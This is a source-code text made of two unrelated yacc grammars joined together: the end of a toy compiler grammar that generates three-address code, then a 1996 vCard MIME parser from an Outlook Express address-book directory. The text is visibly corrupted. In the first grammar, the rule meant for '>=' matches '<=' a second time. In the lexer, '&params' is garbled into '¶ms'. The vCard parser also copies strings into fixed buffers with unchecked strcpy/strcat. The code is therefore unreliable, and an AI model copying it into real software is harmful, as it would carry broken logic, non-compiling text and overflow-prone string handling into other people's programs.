}
| expr '>>' expr {
$$.place = newtemp($1.place);
emit("SRL", $1.place, $3.place, $$.place);
}
| '(' expr ')' {
$$.place = $2.place;
}
| 'id' {
$$.place = lookupPlace($1.lexeme);
}
| addr_id {
$$.place = newtemp($1.place);
emit("=$",$1.place,"",$$.place);
}
| 'id' '(' arg_list ')' {
p = gen(paramStack.size());
while (!paramStack.empty()) {
emit("param", paramStack.top(),"","");
paramStack.pop();
}
emit("call", p, $1.lexeme,"");
enter("#return","int",4);
$$.place = newtemp("#return");
emit("=","#return","",$$.place);
//$$.place = "return#";
}
| 'num' {
$$.place = addNum($1.lexeme);
}
;
arg_list : arg_list ',' expr {
paramStack.push($3.place);
}
| expr {
paramStack.push($1.place);
}
| {
//paramStack.clear();
}
;
if_stmt : 'if' '(' logic_expr ')' M stmt {
backpatch($3.truelist, $5.instr);
$$.nextlist = merge($3.falselist, $6.nextlist);
}
| 'if' '(' logic_expr ')' M stmt N 'else' M stmt {
backpatch($3.truelist, $5.instr);
backpatch($3.falselist, $9.instr);
$$.nextlist = merge(merge($6.nextlist, $7.instr), $10.nextlist);
}
;
while_stmt : 'while' M '(' logic_expr ')' M stmt {
backpatch($7.nextlist, $2.instr);
backpatch($4.truelist, $6.instr);
$$.nextlist = $4.falselist;
emit("j","","",$2.instr);
}
;
logic_expr : logic_expr '&&' M logic_expr {
backpatch($1.truelist, $3.instr);
$$.truelist = $4.truelist;
$$.falselist = merge($1.falselist, $4.falselist);
}
| logic_expr '||' M logic_expr {
backpatch($1.falselist, $3.instr);
$$.truelist = merge($1.truelist, $4.truelist);
$$.falselist = $4.falselist;
}
| '!' logic_expr {
$$.truelist = $2.falselist;
$$.falselist = $2.truelist;
}
| '(' logic_expr ')' {
$$.truelist = $2.truelist;
$$.falselist = $2.falselist;
}
| expr rel expr {
$$.truelist = makelist(nextInstr);
$$.falselist = makelist(nextInstr+1);
emit("j"+$2.op, $1.place, $3.place, "_");
emit("j","","","_");
}
| expr {
$$.truelist = makelist(nextInstr);
$$.falselist = makelist(nextInstr+1);
emit("j!=", $1.addr, "0", "_");
emit("j","","","_");
}
| 'true' {
$$.truelist = makelist(nextInstr);
emit("j","","","_");
}
| 'false' {
$$.falselist = makelist(nextInstr);
emit("j","","","_");
}
;
M : { $$.instr = "LABEL_" + gen(nextInstr);
labelMap.insert(make_pair("LABEL_" + gen(nextInstr), nextInstr));
}
;
N : { $$.instr = makelist(nextInstr);
emit("j","","","_");
}
;
BlockLeader : {
addLeader(nextInstr);
}
;
rel : '<' {$$.op = "<";}
| '>' {$$.op = ">";}
| '<='{$$.op = "<=";}
| '<='{$$.op = ">=";}
| '=='{$$.op = "==";}
| '!='{$$.op = "!=";}
;
addr_id : '$' expr {
$$.place=newtemp($2.place,true);
emit("=",$2.place,"",$$.place);
}
|'id' '[' expr ']' {
$$.place=newtemp($3.place);
emit("MUL",$3.place,to_string($3.width),$$.place);
p = lookupPlace($1.lexeme);
emit("ADD",p,$$.place,$$.place);
}
;
|
<filename>inetcore/outlookexpress/wabw/vcard/versit/2.0/mime.y
%{
/***************************************************************************
(C) Copyright 1996 Apple Computer, Inc., AT&T Corp., International
Business Machines Corporation and Siemens Rolm Communications Inc.
For purposes of this license notice, the term Licensors shall mean,
collectively, Apple Computer, Inc., AT&T Corp., International
Business Machines Corporation and Siemens Rolm Communications Inc.
The term Licensor shall mean any of the Licensors.
Subject to acceptance of the following conditions, permission is hereby
granted by Licensors without the need for written agreement and without
license or royalty fees, to use, copy, modify and distribute this
software for any purpose.
The above copyright notice and the following four paragraphs must be
reproduced in all copies of this software and any software including
this software.
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS AND NO LICENSOR SHALL HAVE
ANY OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS OR
MODIFICATIONS.
IN NO EVENT SHALL ANY LICENSOR BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOST PROFITS ARISING OUT
OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
EACH LICENSOR SPECIFICALLY DISCLAIMS ANY WARRANTIES, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO ANY WARRANTY OF NONINFRINGEMENT OR THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
The software is provided with RESTRICTED RIGHTS. Use, duplication, or
disclosure by the government are subject to restrictions set forth in
DFARS 252.227-7013 or 48 CFR 52.227-19, as applicable.
***************************************************************************/
/*
To invoke this parser, see the "Public Interface" section below.
This MS/V parser accepts input such as the following:
[vCard
O=AT&T/Versit;
FN=Roland <NAME>
TITLE=Consultant (Versit Project Office)
N=Alden;Roland
A:DOM,POSTAL,PARCEL,HOME,WORK=Suite 2208;One Pine Street;San Francisco;CA;94111;U.S.A.
A.FADR:DOM,POSTAL,PARCEL,HOME,WORK=Roland H. Alden\
Suite 2208\
One Pine Street\
San Francisco, CA 94111
A.FADR:POSTAL,PARCEL,HOME,WORK=Roland H. Alden\
Suite 2208\
One Pine Street\
San Francisco, CA 94111\
U.S.A.
B.T:HOME,WORK,PREF,MSG=+1 (415) 296-9106
C.T:WORK,FAX=+1 (415) 296-9016
D.T:MSG,CELL=+1 (415) 608-5981
E.EMAIL:WORK,PREF,INTERNET=sf!rincon!<EMAIL>
F.EMAIL:INTERNET=<EMAIL>
G.EMAIL:HOME,MCIMail=242-2200
PN=ROW-LAND ALL-DEN
PN:WAV,BASE64=<bindata>
UklGRtQ4AABXQVZFZm10IBAAAAABAAEAESsAABErAAABAAgAZGF0Ya84AACAgoSD
...
e319fYCAg4WEhIAA
</bindata>
]
For the purposes of the following grammar, a LINESEP token indicates either
a \r char (0x0D), a \n char (0x0A), or a combination of one of each,
in either order (\r\n or \n\r). This is a bit more lenient than the spec.
*/
#ifdef _WIN32
#include <wchar.h>
#else
#include "wchar.h"
#endif
#include <string.h>
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include "clist.h"
#include "vcard.h"
#include "mime.h"
#if defined(_WIN32) || defined(__MWERKS__)
#define HNEW(_t, _n) new _t[_n]
#define HFREE(_h) delete [] _h
#else
#define HNEW(_t, _n) (_t __huge *)_halloc(_n, 1)
//#define HNEW(_t, _n) (_t __huge *)_halloc(_n, 1); {char buf[40]; sprintf(buf, "_halloc(%ld)\n", _n); Parse_Debug(buf);}
#define HFREE(_h) _hfree(_h)
#endif
/**** Types, Constants ****/
#define YYDEBUG 1 /* 1 to compile in some debugging code */
#define MAXTOKEN 256 /* maximum token (line) length */
#define MAXFLAGS ((MAXTOKEN / 2) / sizeof(char *))
#define YYSTACKSIZE 50
#define MAXASSOCKEY 24
#define MAXASSOCVALUE 64
#define MAXCARD 2 /* max # of nested cards parseable */
/* (includes outermost) */
typedef enum {none, sevenbit, qp, base64} MIME_ENCODING;
typedef struct {
const char* known[MAXFLAGS];
char extended[MAXTOKEN / 2];
} PARAMS_STRUCT;
typedef struct {
char key[MAXASSOCKEY];
char value[MAXASSOCVALUE];
} AssocEntry; /* a simple key/value association, impl'd using CList */
/* some fake property names that represent special cases */
static const char* mime_fam_given = "family;given";
static const char* mime_orgname_orgunit = "org_name;org_unit";
static const char* mime_address = "six part address";
static const char* propNames[] = {
vcLogoProp,
vcPhotoProp,
vcDeliveryLabelProp,
vcFullNameProp,
vcTitleProp,
vcPronunciationProp,
vcLanguageProp,
vcTelephoneProp,
vcEmailAddressProp,
vcTimeZoneProp,
vcLocationProp,
vcCommentProp,
vcURLProp,
vcCharSetProp,
vcLastRevisedProp,
vcUniqueStringProp,
vcPublicKeyProp,
vcMailerProp,
vcAgentProp,
vcBirthDateProp,
vcBusinessRoleProp,
NULL
};
static const char *mime_addrProps[] = {
vcPostalBoxProp,
vcExtAddressProp,
vcStreetAddressProp,
vcCityProp,
vcRegionProp,
vcPostalCodeProp,
vcCountryNameProp,
NULL
};
static const char *mime_nameProps[] = {
vcFamilyNameProp,
vcGivenNameProp,
vcAdditionalNamesProp,
vcNamePrefixesProp,
vcNameSuffixesProp,
NULL
};
static const char *mime_orgProps[] = {
vcOrgNameProp,
vcOrgUnitProp,
vcOrgUnit2Prop,
vcOrgUnit3Prop,
vcOrgUnit4Prop,
NULL
};
/**** Global Variables ****/
int mime_lineNum, mime_numErrors; /* yyerror() can use these */
static S32 curPos, inputLen;
static int pendingToken;
static const char *inputString;
static CFile* inputFile;
static BOOL paramExp, inBinary, semiSpecial;
static MIME_ENCODING expected;
static char __huge *longString;
static S32 longStringLen, longStringMax;
static CList* global_vcList;
static CVCard *cardBuilt;
static CVCard* cardToBuild[MAXCARD];
static int curCard;
static CVCNode *bodyToBuild;
/**** External Functions ****/
CFUNCTIONS
extern void Parse_Debug(const char *s);
extern void yyerror(char *s);
END_CFUNCTIONS
/**** Private Forward Declarations ****/
CFUNCTIONS
/* A helpful utility for the rest of the app. */
extern CVCNode* FindOrCreatePart(CVCNode *node, const char *name);
static const char* StrToProp(const char* str);
static int StrToParam(const char *s, PARAMS_STRUCT *params);
static void StrCat(char *dst, const char *src1, const char *src2);
static void ExpectValue(PARAMS_STRUCT* params);
static BOOL Parse_Assoc(
const char *groups, const char *prop, PARAMS_STRUCT *params,
char *value);
static BOOL Parse_Agent(
const char *groups, const char *prop, PARAMS_STRUCT *params,
CVCard *agentCard);
int yyparse();
static U8 __huge * DataFromBase64(
const char __huge *str, S32 strLen, S32 *len);
static BOOL PushVCard();
static CVCard* PopVCard();
static int flagslen(const char **params);
static BOOL FlagsHave(PARAMS_STRUCT *params, const char *propName);
static void AddBoolProps(CVCNode *node, PARAMS_STRUCT *params);
END_CFUNCTIONS
%}
/***************************************************************************/
/*** The grammar ****/
/***************************************************************************/
%union
{
char str[MAXTOKEN];
PARAMS_STRUCT params;
CVCard *vCard;
}
/* The "str" token type is able to hold "short" string values. For string
* values longer than MAXTOKEN, the lexical analyzer will allocate a
* growable buffer and store that pointer in the global "longString".
* This simple strategy works only because with this grammar we never have
* more than one STRING token on the stack at once.
*
* The lexical analyzer indicates that it is returning a "long" string by
* setting "str" to be of 0 length. The semantics of the use of "str"
* are that if it is of 0 length, the parser should check the length of
* "longString" (stored in longStringLen) to see if it is non-zero.
*/
%token
EQ COLON DOT SEMI SPACE HTAB LINESEP NEWLINE
VCARD TERM BEGIN END TYPE VALUE ENCODING
/*
* NEWLINE is the token that would occur outside a vCard,
* while LINESEP is the token that would occur inside a vCard.
*/
%token <str>
WORD XWORD STRING QP B64 PROP PROP_AGENT LANGUAGE CHARSET
%token <params>
INLINE URL CONTENTID
SEVENBIT QUOTEDP BASE64
DOM INTL POSTAL PARCEL HOME WORK
PREF VOICE FAX MSG CELL PAGER
BBS MODEM CAR ISDN VIDEO
AOL APPLELINK ATTMAIL CIS EWORLD
INTERNET IBMMAIL MSN MCIMAIL
POWERSHARE PRODIGY TLX X400
GIF CGM WMF BMP MET PMB DIB
PICT TIFF ACROBAT PS JPEG QTIME
MPEG MPEG2 AVI
WAVE AIFF PCM
X509 PGP
%type <str> value qp base64 lines groups grouplist opt_str
%type <params>
ptypeval params plist param
param_7bit param_qp param_base64 param_inline param_ref
%type <vCard> vcard
%start mime
%%
vcards : vcards junk vcard
{ global_vcList->AddTail($3); }
| vcards vcard
{ global_vcList->AddTail($2); }
| vcard
{ global_vcList->AddTail($1); }
;
junk : junk atom
| atom
;
atom : BEGIN NEWLINE
| BEGIN TERM
| BEGIN BEGIN
| COLON BEGIN
| COLON COLON
| NEWLINE
| TERM
;
mime : junk vcards junk
| junk vcards
| vcards junk
| vcards
;
vcard : BEGIN COLON VCARD
{
if (!PushVCard())
YYERROR;
ExpectValue(NULL);
}
opt_str LINESEP
{ expected = none; }
opt_ls items opt_ws END
{ $$ = PopVCard(); }
opt_ws COLON opt_ws VCARD opt_ws
{ $$ = $12; }
;
items : items opt_ls item
| item
;
item : groups PROP params COLON
{ ExpectValue(&($3)); } value
{
expected = none;
if (!Parse_Assoc($1, $2, &($3), $6))
YYERROR;
}
| groups PROP opt_ws COLON
{ ExpectValue(NULL); } value
{
expected = none;
if (!Parse_Assoc($1, $2, NULL, $6))
YYERROR;
}
| groups PROP_AGENT params COLON opt_ws vcard LINESEP
{
expected = none;
if (!Parse_Agent($1, $2, &($3), $6)) {
delete $6;
YYERROR;
}
}
| groups PROP_AGENT opt_ws COLON opt_ws vcard LINESEP
{
expected = none;
if (!Parse_Agent($1, $2, NULL, $6)) {
delete $6;
YYERROR;
}
}
| ws LINESEP
| error LINESEP
{
expected = none;
paramExp = FALSE;
yyerrok;
yyclearin;
}
;
params : opt_ws SEMI plist opt_ws { $$ = $3; } ;
plist : plist opt_ws SEMI opt_ws param
{
$$ = $1;
AddParam(&($$), &($5));
}
| param
;
param : TYPE opt_ws EQ opt_ws ptypeval { $$ = $5; }
| ptypeval
| param_7bit
| param_qp
| param_base64
| param_inline
| param_ref
| CHARSET opt_ws EQ opt_ws WORD
{
$$.known[0] = NULL;
strcpy($$.extended, $1);
strcat($$.extended, "=");
strcat($$.extended, $5);
$$.extended[strlen($$.extended)+1] = 0;
}
| LANGUAGE opt_ws EQ opt_ws WORD
{
$$.known[0] = NULL;
strcpy($$.extended, $1);
strcat($$.extended, "=");
strcat($$.extended, $5);
$$.extended[strlen($$.extended)+1] = 0;
}
| XWORD opt_ws EQ opt_ws WORD
{
$$.known[0] = NULL;
strcpy($$.extended, $1);
strcat($$.extended, "=");
strcat($$.extended, $5);
$$.extended[strlen($$.extended)+1] = 0;
}
;
param_7bit : ENCODING opt_ws EQ opt_ws SEVENBIT { $$ = $5; }
| SEVENBIT
;
param_qp : ENCODING opt_ws EQ opt_ws QUOTEDP { $$ = $5; }
| QUOTEDP
;
param_base64 : ENCODING opt_ws EQ opt_ws BASE64 { $$ = $5; }
| BASE64
;
param_inline : VALUE opt_ws EQ opt_ws INLINE { $$ = $5; }
| INLINE
;
param_ref : VALUE opt_ws EQ opt_ws URL { $$ = $5; }
| VALUE opt_ws EQ opt_ws CONTENTID { $$ = $5; }
| URL
| CONTENTID
;
ptypeval : DOM | INTL | POSTAL | PARCEL | HOME | WORK
| PREF | VOICE | FAX | MSG | CELL | PAGER
| BBS | MODEM | CAR | ISDN | VIDEO
| AOL | APPLELINK | ATTMAIL | CIS | EWORLD
| INTERNET | IBMMAIL | MSN | MCIMAIL
| POWERSHARE | PRODIGY | TLX | X400
| GIF | CGM | WMF | BMP | MET | PMB | DIB
| PICT | TIFF | ACROBAT | PS | JPEG | QTIME
| MPEG | MPEG2 | AVI
| WAVE | AIFF | PCM
| X509 | PGP
;
qp : qp EQ LINESEP QP
{
StrCat($$, $1, $4);
}
| qp EQ LINESEP
{
StrCat($$, $1, "");
}
| QP
| EQ LINESEP
{
$$[0] = 0;
}
;
value : STRING LINESEP | qp LINESEP | base64 ;
base64 : LINESEP lines LINESEP LINESEP
{ StrCat($$, $2, ""); }
| lines LINESEP LINESEP
{ StrCat($$, $1, ""); }
;
lines : lines LINESEP B64
{
StrCat($$, $1, "\n");
StrCat($$, $$, $3);
}
| B64
;
opt_str : STRING | empty { $$[0] = 0; } ;
ws : ws SPACE
| ws HTAB
| SPACE
| HTAB
;
ls : ls LINESEP
| LINESEP
;
opt_ls : ls | empty ;
opt_ws : ws | empty ;
groups : grouplist DOT
| ws grouplist DOT
{ StrCat($$, $2, ""); }
| ws
{ $$[0] = 0; }
| empty
{ $$[0] = 0; }
;
grouplist : grouplist DOT WORD
{
strcpy($$, $1);
strcat($$, ".");
strcat($$, $3);
}
| WORD
;
empty : ;
%%
/***************************************************************************/
/*** The lexical analyzer ****/
/***************************************************************************/
/*/////////////////////////////////////////////////////////////////////////*/
#define IsLineBreak(_c) ((_c == '\n') || (_c == '\r'))
/*/////////////////////////////////////////////////////////////////////////*/
/* This appends onto yylval.str, unless MAXTOKEN has been exceeded.
* In that case, yylval.str is set to 0 length, and longString is used.
*/
static void AppendCharToToken(char c, S32 *len)
{
if (*len < MAXTOKEN - 1) {
yylval.str[*len] = c; yylval.str[++(*len)] = 0;
} else if (*len == MAXTOKEN - 1) { /* copy to "longString" */
if (!longString) {
longStringMax = MAXTOKEN * 2;
longString = HNEW(char, longStringMax);
}
memcpy(longString, yylval.str, (size_t)*len + 1);
longString[*len] = c; longString[++(*len)] = 0;
yylval.str[0] = 0;
longStringLen = *len;
} else {
if (longStringLen == longStringMax - 1) {
char __huge *newStr = HNEW(char, longStringMax * 2);
_hmemcpy((U8 __huge *)newStr, (U8 __huge *)longString, longStringLen + 1);
longStringMax *= 2;
HFREE(longString);
longString = newStr;
}
longString[*len] = c; longString[++(*len)] = 0;
longStringLen = *len;
}
}
/*/////////////////////////////////////////////////////////////////////////*/
/* StrCat appends onto dst, ensuring that longString is used appropriately.
* src1 may be of 0 length, in which case "longString" should be used.
* "longString" would never be used for src2.
*/
static void StrCat(char *dst, const char *src1, const char *src2)
{
S32 src1Len = strlen(src1);
S32 src2Len = strlen(src2);
S32 req;
if (!src1Len && longString) {
src1Len = longStringLen;
src1 = longString;
}
if ((req = src1Len + src2Len + 1) > MAXTOKEN) {
if (longString) { /* longString == src1 */
if (longStringMax - longStringLen < src2Len) {
/* since src2Len must be < MAXTOKEN, doubling longString
is guaranteed to be enough room */
char __huge *newStr = HNEW(char, longStringMax * 2);
_hmemcpy((U8 __huge *)newStr, (U8 __huge *)longString, longStringLen + 1);
longStringMax *= 2;
HFREE(longString);
longString = newStr;
}
_hmemcpy((U8 __huge *)(longString + longStringLen), (U8 __huge *)src2, src2Len + 1);
longStringLen += src2Len;
} else { /* haven't yet used longString, so set it up */
longStringMax = MAXTOKEN * 2;
longString = HNEW(char, longStringMax);
memcpy(longString, src1, (size_t)src1Len + 1);
memcpy(longString + src1Len, src2, (size_t)src2Len + 1);
longStringLen = src1Len + src2Len;
}
*dst = 0; /* indicate result is in longString */
} else { /* both will fit in MAXTOKEN, so src1 can't be longString */
if (dst != src1)
strcpy(dst, src1);
strcat(dst, src2);
}
}
/*/////////////////////////////////////////////////////////////////////////*/
/* Set up the lexor to parse a string value. */
static void ExpectValue(PARAMS_STRUCT* params)
{
if (FlagsHave(params, vcQuotedPrintableProp))
expected = qp;
else if (FlagsHave(params, vcBase64Prop))
expected = base64;
else
expected = sevenbit;
if (longString) {
HFREE(longString); longString = NULL;
longStringLen = 0;
}
paramExp = FALSE;
}
/*/////////////////////////////////////////////////////////////////////////*/
#define FlushWithPending(_t) { \
if (len) { \
pendingToken = _t; \
goto Pending; \
} else { \
mime_lineNum += ((_t == LINESEP) || (_t == NEWLINE)); \
return _t; \
} \
}
static int peekn;
static char peekc[2];
/*/////////////////////////////////////////////////////////////////////////*/
static char lex_getc()
{
if (peekn) {
return peekc[--peekn];
}
if (curPos == inputLen)
return EOF;
else if (inputString)
return *(inputString + curPos++);
else {
char result;
return inputFile->Read(&result, 1) == 1 ? result : EOF;
}
}
/*/////////////////////////////////////////////////////////////////////////*/
static void lex_ungetc(char c)
{
ASSERT(peekn < 2);
peekc[peekn++] = c;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* Collect up a 7bit string value. */
static int Lex7bit()
{
char cur;
S32 len = 0;
do {
cur = lex_getc();
switch (cur) {
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
pendingToken = LINESEP;
goto EndString;
}
case (char)EOF:
pendingToken = EOF;
break;
default:
AppendCharToToken(cur, &len);
break;
} /* switch */
} while (cur != (char)EOF);
EndString:
if (!len) {
/* must have hit something immediately, in which case pendingToken
is set. return it. */
int result = pendingToken;
pendingToken = 0;
mime_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
return STRING;
} /* Lex7bit */
/*/////////////////////////////////////////////////////////////////////////*/
/* Collect up a quoted-printable string value. */
static int LexQuotedPrintable()
{
char cur;
S32 len = 0;
do {
cur = lex_getc();
switch (cur) {
case '=': {
char c = 0;
char next[2];
int i;
for (i = 0; i < 2; i++) {
next[i] = lex_getc();
if (next[i] >= '0' && next[i] <= '9')
c = c * 16 + next[i] - '0';
else if (next[i] >= 'A' && next[i] <= 'F')
c = c * 16 + next[i] - 'A' + 10;
else
break;
}
if (i == 0) {
if (next[i] == '\r') {
next[1] = lex_getc();
if (next[1] == '\n') {
lex_ungetc(next[1]); /* so that we'll pick up the LINESEP again */
pendingToken = EQ;
goto EndString;
} else {
lex_ungetc(next[1]);
lex_ungetc(next[0]);
AppendCharToToken('=', &len);
}
} else if (next[i] == '\n') {
lex_ungetc(next[i]); /* so that we'll pick up the LINESEP again */
pendingToken = EQ;
goto EndString;
} else {
lex_ungetc(next[i]);
AppendCharToToken('=', &len);
}
} else if (i == 1) {
lex_ungetc(next[1]);
lex_ungetc(next[0]);
AppendCharToToken('=', &len);
} else
AppendCharToToken(c, &len);
break;
} /* '=' */
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
pendingToken = LINESEP;
goto EndString;
}
case (char)EOF:
pendingToken = EOF;
break;
default:
AppendCharToToken(cur, &len);
break;
} /* switch */
} while (cur != (char)EOF);
EndString:
if (!len) {
/* must have hit something immediately, in which case pendingToken
is set. return it. */
int result = pendingToken;
pendingToken = 0;
mime_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
return QP;
} /* LexQuotedPrintable */
/*/////////////////////////////////////////////////////////////////////////*/
/* Collect up a base64 string value. */
static int LexBase64()
{
char cur;
S32 len = 0;
do {
cur = lex_getc();
switch (cur) {
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
pendingToken = LINESEP;
goto EndString;
}
case (char)EOF:
pendingToken = EOF;
break;
default:
AppendCharToToken(cur, &len);
break;
} /* switch */
} while (cur != (char)EOF);
EndString:
if (!len) {
/* must have hit something immediately, in which case pendingToken
is set. return it. */
int result = pendingToken;
pendingToken = 0;
mime_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
return B64;
} /* LexBase64 */
/*/////////////////////////////////////////////////////////////////////////*/
/*
* Read chars from the input.
* Return one of the token types (or -1 for EOF).
* Set yylval to indicate the value of the token, if any.
*/
int mime_lex();
int mime_lex()
{
char cur;
S32 len = 0;
static BOOL beginning = TRUE;
if (pendingToken) {
int result = pendingToken;
pendingToken = 0;
mime_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
yylval.str[0] = 0;
switch (expected) {
case sevenbit: return Lex7bit();
case qp: return LexQuotedPrintable();
case base64: return LexBase64();
default: break;
}
if (curCard == -1) {
do {
cur = lex_getc();
switch (cur) {
case ':': FlushWithPending(COLON);
case ' ':
case '\t':
if (len) goto Pending;
break;
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
FlushWithPending(NEWLINE);
}
case (char)EOF: FlushWithPending(EOF);
default:
yylval.str[len] = cur; yylval.str[++len] = 0;
break;
} /* switch */
} while (len < MAXTOKEN-1);
goto Pending;
}
do {
cur = lex_getc();
switch (cur) {
case '=': FlushWithPending(EQ);
case ':': FlushWithPending(COLON);
case '.': FlushWithPending(DOT);
case ';': FlushWithPending(SEMI);
case ' ': FlushWithPending(SPACE);
case '\t': FlushWithPending(HTAB);
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
FlushWithPending(LINESEP);
}
case (char)EOF: FlushWithPending(EOF);
default:
yylval.str[len] = cur; yylval.str[++len] = 0;
break;
} /* switch */
} while (len < MAXTOKEN-1);
return WORD;
Pending:
{
if (stricmp(yylval.str, "begin") == 0) {
beginning = TRUE;
return BEGIN;
} else if (stricmp(yylval.str, "vcard") == 0) {
if (beginning && curCard == -1 && pendingToken == NEWLINE)
pendingToken = LINESEP;
else if (!beginning && curCard == -1 && pendingToken == LINESEP)
pendingToken = NEWLINE;
return VCARD;
} else if (stricmp(yylval.str, "end") == 0) {
beginning = FALSE;
return END;
}
if (paramExp) {
PARAMS_STRUCT params;
int param;
if ((param = StrToParam(yylval.str, ¶ms))) {
yylval.params = params;
return param;
} else if (stricmp(yylval.str, "type") == 0)
return TYPE;
else if (stricmp(yylval.str, "value") == 0)
return VALUE;
else if (stricmp(yylval.str, "encoding") == 0)
return ENCODING;
else if (stricmp(yylval.str, "charset") == 0)
return CHARSET;
else if (stricmp(yylval.str, "language") == 0)
return LANGUAGE;
else if (strnicmp(yylval.str, "X-", 2) == 0)
return XWORD;
} else if ((curCard != -1) && StrToProp(yylval.str)
|| (strnicmp(yylval.str, "X-", 2) == 0)) {
#if YYDEBUG
if (yydebug) {
char buf[80];
sprintf(buf, "property \"%s\"\n", yylval.str);
Parse_Debug(buf);
}
#endif
paramExp = TRUE;
/* check for special props that are tokens */
if (stricmp(yylval.str, "AGENT") == 0)
return PROP_AGENT;
else
return PROP;
}
}
return (curCard == -1) ? TERM : WORD;
}
/***************************************************************************/
/*** Public Functions ****/
/***************************************************************************/
static BOOL Parse_MIMEHelper(CList *vcList)
{
BOOL success = FALSE;
curCard = -1;
mime_numErrors = 0;
pendingToken = 0;
mime_lineNum = 1;
peekn = 0;
global_vcList = vcList;
expected = none;
paramExp = FALSE;
longString = NULL; longStringLen = 0; longStringMax = 0;
/* this winds up invoking the Parse_* callouts. */
if (yyparse() != 0)
goto Done;
success = TRUE;
Done:
if (longString) { HFREE(longString); longString = NULL; }
if (!success) {
for (int i = 0; i < MAXCARD; i++)
if (cardToBuild[i]) {
delete cardToBuild[i];
cardToBuild[i] = NULL;
}
if (cardBuilt) delete cardBuilt;
}
cardBuilt = NULL;
return success;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
BOOL Parse_MIME(
const char *input, /* In */
S32 len, /* In */
CVCard **card) /* Out */
{
CList vcList;
BOOL result;
inputString = input;
inputLen = len;
curPos = 0;
inputFile = NULL;
result = Parse_MIMEHelper(&vcList);
if (vcList.GetCount()) {
BOOL first = TRUE;
for (CLISTPOSITION pos = vcList.GetHeadPosition(); pos; ) {
CVCard *vCard = (CVCard *)vcList.GetNext(pos);
if (first) {
*card = vCard;
first = FALSE;
} else
delete vCard;
}
} else
*card = NULL;
return result;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
extern BOOL Parse_Many_MIME(
const char *input, /* In */
S32 len, /* In */
CList *vcList) /* Out: CVCard objects added to existing list */
{
inputString = input;
inputLen = len;
curPos = 0;
inputFile = NULL;
return Parse_MIMEHelper(vcList);
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
BOOL Parse_MIME_FromFile(
CFile *file, /* In */
CVCard **card) /* Out */
{
CList vcList;
BOOL result;
DWORD startPos;
inputString = NULL;
inputLen = -1;
curPos = 0;
inputFile = file;
startPos = file->GetPosition();
result = Parse_MIMEHelper(&vcList);
if (vcList.GetCount()) {
BOOL first = TRUE;
for (CLISTPOSITION pos = vcList.GetHeadPosition(); pos; ) {
CVCard *vCard = (CVCard *)vcList.GetNext(pos);
if (first) {
*card = vCard;
first = FALSE;
} else
delete vCard;
}
} else {
*card = NULL;
file->Seek(startPos, CFile::begin);
}
return result;
}
extern BOOL Parse_Many_MIME_FromFile(
CFile *file, /* In */
CList *vcList) /* Out: CVCard objects added to existing list */
{
DWORD startPos;
BOOL result;
inputString = NULL;
inputLen = -1;
curPos = 0;
inputFile = file;
startPos = file->GetPosition();
if (!(result = Parse_MIMEHelper(vcList)))
file->Seek(startPos, CFile::begin);
return result;
}
/***************************************************************************/
/*** Parser Callout Functions ****/
/***************************************************************************/
typedef struct {
const char *name;
int token;
} PARAM_PAIR;
static PARAM_PAIR typePairs[] = {
vcDomesticProp, DOM,
vcInternationalProp, INTL,
vcPostalProp, POSTAL,
vcParcelProp, PARCEL,
vcHomeProp, HOME,
vcWorkProp, WORK,
vcPreferredProp, PREF,
vcVoiceProp, VOICE,
vcFaxProp, FAX,
vcMessageProp, MSG,
vcCellularProp, CELL,
vcPagerProp, PAGER,
vcBBSProp, BBS,
vcModemProp, MODEM,
vcCarProp, CAR,
vcISDNProp, ISDN,
vcVideoProp, VIDEO,
vcAOLProp, AOL,
vcAppleLinkProp, APPLELINK,
vcATTMailProp, ATTMAIL,
vcCISProp, CIS,
vcEWorldProp, EWORLD,
vcInternetProp, INTERNET,
vcIBMMailProp, IBMMAIL,
vcMSNProp, MSN,
vcMCIMailProp, MCIMAIL,
vcPowerShareProp, POWERSHARE,
vcProdigyProp, PRODIGY,
vcTLXProp, TLX,
vcX400Prop, X400,
vcGIFProp, GIF,
vcCGMProp, CGM,
vcWMFProp, WMF,
vcBMPProp, BMP,
vcMETProp, MET,
vcPMBProp, PMB,
vcDIBProp, DIB,
vcPICTProp, PICT,
vcTIFFProp, TIFF,
vcAcrobatProp, ACROBAT,
vcPSProp, PS,
vcJPEGProp, JPEG,
vcQuickTimeProp, QTIME,
vcMPEGProp, MPEG,
vcMPEG2Prop, MPEG2,
vcAVIProp, AVI,
vcWAVEProp, WAVE,
vcAIFFProp, AIFF,
vcPCMProp, PCM,
vcX509Prop, X509,
vcPGPProp, PGP,
NULL, NULL
};
static PARAM_PAIR valuePairs[] = {
vcInlineProp, INLINE,
//vcURLValueProp, URL,
vcContentIDProp, CONTENTID,
NULL, NULL
};
static PARAM_PAIR encodingPairs[] = {
vc7bitProp, SEVENBIT,
//vcQuotedPrintableProp,QUOTEDP,
vcBase64Prop, BASE64,
NULL, NULL
};
